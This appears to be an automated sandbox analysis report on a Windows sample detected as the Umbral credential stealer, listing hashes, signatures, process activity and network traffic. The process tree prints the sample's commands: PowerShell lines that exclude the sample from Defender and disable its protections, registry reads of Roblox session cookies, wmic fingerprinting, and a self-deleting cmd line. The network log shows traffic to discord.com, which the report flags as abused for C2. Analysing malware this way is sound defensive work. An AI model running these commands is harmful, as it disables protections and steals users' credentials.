Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
28/08/2024, 15:07 UTC
Behavioral task
behavioral1
Sample
5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
Resource
win7-20240708-en
General
-
Target
5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe
-
Size
229KB
-
MD5
eabe2a81aa3dabab25e49ee4b36ce075
-
SHA1
f55b6298f0a8330d90d39e20a73adb2e828dfd1c
-
SHA256
5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686
-
SHA512
9688119150d3a466d9a12bfc55933d367104747a2cf319467a78dfcf975361c9e2727f76efe380db9d0c92c39dc4b0241bfb444e965e92720c9edcf42c1d18fe
-
SSDEEP
6144:lloZM+rIkd8g+EtXHkv/iD4Wn0IZHMgPou35EwFyov28e1mpi:noZtL+EP8Wn0IZHMgPou35EwFm1
Malware Config
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/2520-1-0x0000000000EC0000-0x0000000000F00000-memory.dmp family_umbral -
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
pid Process 2028 powershell.exe 1660 powershell.exe 556 powershell.exe 608 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe -
Deletes itself 1 IoCs
pid Process 1992 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 11 discord.com 10 discord.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 7 ip-api.com -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1992 cmd.exe 2364 PING.EXE -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1688 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2364 PING.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 608 powershell.exe 2028 powershell.exe 1660 powershell.exe 2192 powershell.exe 556 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe Token: SeIncreaseQuotaPrivilege 2780 wmic.exe Token: SeSecurityPrivilege 2780 wmic.exe Token: SeTakeOwnershipPrivilege 2780 wmic.exe Token: SeLoadDriverPrivilege 2780 wmic.exe Token: SeSystemProfilePrivilege 2780 wmic.exe Token: SeSystemtimePrivilege 2780 wmic.exe Token: SeProfSingleProcessPrivilege 2780 wmic.exe Token: SeIncBasePriorityPrivilege 2780 wmic.exe Token: SeCreatePagefilePrivilege 2780 wmic.exe Token: SeBackupPrivilege 2780 wmic.exe Token: SeRestorePrivilege 2780 wmic.exe Token: SeShutdownPrivilege 2780 wmic.exe Token: SeDebugPrivilege 2780 wmic.exe Token: SeSystemEnvironmentPrivilege 2780 wmic.exe Token: SeRemoteShutdownPrivilege 2780 wmic.exe Token: SeUndockPrivilege 2780 wmic.exe Token: SeManageVolumePrivilege 2780 wmic.exe Token: 33 2780 wmic.exe Token: 34 2780 wmic.exe Token: 35 2780 wmic.exe Token: SeIncreaseQuotaPrivilege 2780 wmic.exe Token: SeSecurityPrivilege 2780 wmic.exe Token: SeTakeOwnershipPrivilege 2780 wmic.exe Token: SeLoadDriverPrivilege 2780 wmic.exe Token: SeSystemProfilePrivilege 2780 wmic.exe Token: SeSystemtimePrivilege 2780 wmic.exe Token: SeProfSingleProcessPrivilege 2780 wmic.exe Token: SeIncBasePriorityPrivilege 2780 wmic.exe Token: SeCreatePagefilePrivilege 2780 wmic.exe Token: SeBackupPrivilege 2780 wmic.exe Token: SeRestorePrivilege 2780 wmic.exe Token: SeShutdownPrivilege 2780 wmic.exe Token: SeDebugPrivilege 2780 wmic.exe Token: SeSystemEnvironmentPrivilege 2780 wmic.exe Token: SeRemoteShutdownPrivilege 2780 wmic.exe Token: SeUndockPrivilege 2780 wmic.exe Token: SeManageVolumePrivilege 2780 wmic.exe Token: 33 2780 wmic.exe Token: 34 2780 wmic.exe Token: 35 2780 wmic.exe Token: SeDebugPrivilege 608 powershell.exe Token: SeDebugPrivilege 2028 powershell.exe Token: SeDebugPrivilege 1660 powershell.exe Token: SeDebugPrivilege 2192 powershell.exe Token: SeIncreaseQuotaPrivilege 568 wmic.exe Token: SeSecurityPrivilege 568 wmic.exe Token: SeTakeOwnershipPrivilege 568 wmic.exe Token: SeLoadDriverPrivilege 568 wmic.exe Token: SeSystemProfilePrivilege 568 wmic.exe Token: SeSystemtimePrivilege 568 wmic.exe Token: SeProfSingleProcessPrivilege 568 wmic.exe Token: SeIncBasePriorityPrivilege 568 wmic.exe Token: SeCreatePagefilePrivilege 568 wmic.exe Token: SeBackupPrivilege 568 wmic.exe Token: SeRestorePrivilege 568 wmic.exe Token: SeShutdownPrivilege 568 wmic.exe Token: SeDebugPrivilege 568 wmic.exe Token: SeSystemEnvironmentPrivilege 568 wmic.exe Token: SeRemoteShutdownPrivilege 568 wmic.exe Token: SeUndockPrivilege 568 wmic.exe Token: SeManageVolumePrivilege 568 wmic.exe Token: 33 568 wmic.exe Token: 34 568 wmic.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2520 wrote to memory of 2780 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 31 PID 2520 wrote to memory of 2780 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 31 PID 2520 wrote to memory of 2780 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 31 PID 2520 wrote to memory of 1016 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 34 PID 2520 wrote to memory of 1016 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 34 PID 2520 wrote to memory of 1016 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 34 PID 2520 wrote to memory of 608 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 36 PID 2520 wrote to memory of 608 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 36 PID 2520 wrote to memory of 608 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 36 PID 2520 wrote to memory of 2028 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 38 PID 2520 wrote to memory of 2028 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 38 PID 2520 wrote to memory of 2028 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 38 PID 2520 wrote to memory of 1660 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 40 PID 2520 wrote to memory of 1660 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 40 PID 2520 wrote to memory of 1660 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 40 PID 2520 wrote to memory of 2192 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 42 PID 2520 wrote to memory of 2192 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 42 PID 2520 wrote to memory of 2192 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 42 PID 2520 wrote to memory of 568 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 44 PID 2520 wrote to memory of 568 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 44 PID 2520 wrote to memory of 568 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 44 PID 2520 wrote to memory of 1008 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 46 PID 2520 wrote to memory of 1008 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 46 PID 2520 wrote to memory of 1008 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 46 PID 2520 wrote to memory of 1112 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 48 PID 2520 wrote to memory of 1112 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 48 PID 2520 wrote to memory of 1112 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 48 PID 2520 wrote to memory of 556 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 50 PID 2520 wrote to memory of 556 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 50 PID 2520 wrote to memory of 556 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 50 PID 2520 wrote to memory of 1688 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 52 PID 2520 wrote to memory of 1688 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 52 PID 2520 wrote to memory of 1688 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 52 PID 2520 wrote to memory of 1992 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 54 PID 2520 wrote to memory of 1992 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 54 PID 2520 wrote to memory of 1992 2520 5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe 54 PID 1992 wrote to memory of 2364 1992 cmd.exe 56 PID 1992 wrote to memory of 2364 1992 cmd.exe 56 PID 1992 wrote to memory of 2364 1992 cmd.exe 56 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1016 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe"C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe"1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
-
C:\Windows\system32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe"2⤵
- Views/modifies file attributes
PID:1016
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:608
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2192
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:568
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵PID:1008
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:1112
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:556
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:1688
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe" && pause2⤵
- Deletes itself
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\system32\PING.EXEping localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2364
-
-
Network
-
Remote address:8.8.8.8:53Requestgstatic.comIN AResponsegstatic.comIN A172.217.16.227
-
GEThttps://gstatic.com/generate_2045b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exeRemote address:172.217.16.227:443RequestGET /generate_204 HTTP/1.1
Host: gstatic.com
Connection: Keep-Alive
ResponseHTTP/1.1 204 No Content
Cross-Origin-Resource-Policy: cross-origin
Date: Wed, 28 Aug 2024 15:07:15 GMT
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
-
GEThttps://gstatic.com/generate_2045b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exeRemote address:172.217.16.227:443RequestGET /generate_204 HTTP/1.1
Host: gstatic.com
Connection: Keep-Alive
ResponseHTTP/1.1 204 No Content
Cross-Origin-Resource-Policy: cross-origin
Date: Wed, 28 Aug 2024 15:08:14 GMT
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
-
Remote address:8.8.8.8:53Requestip-api.comIN AResponseip-api.comIN A208.95.112.1
-
Remote address:8.8.8.8:53Requestip-api.comIN A
-
GEThttp://ip-api.com/line/?fields=hosting5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exeRemote address:208.95.112.1:80RequestGET /line/?fields=hosting HTTP/1.1
Host: ip-api.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Content-Length: 6
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
-
GEThttp://ip-api.com/json/?fields=2255455b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exeRemote address:208.95.112.1:80RequestGET /json/?fields=225545 HTTP/1.1
Host: ip-api.com
ResponseHTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 161
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.138.232discord.comIN A162.159.135.232discord.comIN A162.159.136.232discord.comIN A162.159.137.232discord.comIN A162.159.128.233
-
Remote address:8.8.8.8:53Requestdiscord.comIN A
-
172.217.16.227:443https://gstatic.com/generate_204tls, http5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe1.4kB 4.8kB 15 10
HTTP Request
GET https://gstatic.com/generate_204HTTP Response
204 -
172.217.16.227:443https://gstatic.com/generate_204tls, http5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe717 B 825 B 9 6
HTTP Request
GET https://gstatic.com/generate_204HTTP Response
204 -
208.95.112.1:80http://ip-api.com/line/?fields=hostinghttp5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe310 B 267 B 5 2
HTTP Request
GET http://ip-api.com/line/?fields=hostingHTTP Response
200 -
208.95.112.1:80http://ip-api.com/json/?fields=225545http5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe285 B 510 B 5 4
HTTP Request
GET http://ip-api.com/json/?fields=225545HTTP Response
200 -
162.159.138.232:443discord.comtls5b97b5644019cec44dded172780f30b049b82c8e8582a589ce95d7dec421a686.exe483 B 259 B 8 6
-
57 B 73 B 1 1
DNS Request
gstatic.com
DNS Response
172.217.16.227
-
112 B 72 B 2 1
DNS Request
ip-api.com
DNS Request
ip-api.com
DNS Response
208.95.112.1
-
114 B 137 B 2 1
DNS Request
discord.com
DNS Request
discord.com
DNS Response
162.159.138.232162.159.135.232162.159.136.232162.159.137.232162.159.128.233
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ff255f51e7d29654133f354a9d6be26e
SHA13e4c59c681cedaaa12c04e804f9338eaa61240e4
SHA2565a1fa01cafea8a8fd19e3d0f0258dcf28b291ca9ad6137fafa74a041bc5700f8
SHA512bb9d87f6edddcf7c579daf908c3a82e69c95b6bc0da9ccd09e2153a8a5ef57dbef8ebc484bedb45eaa515e77f11b9c177b36c078ba73d348bf7dba10547f010d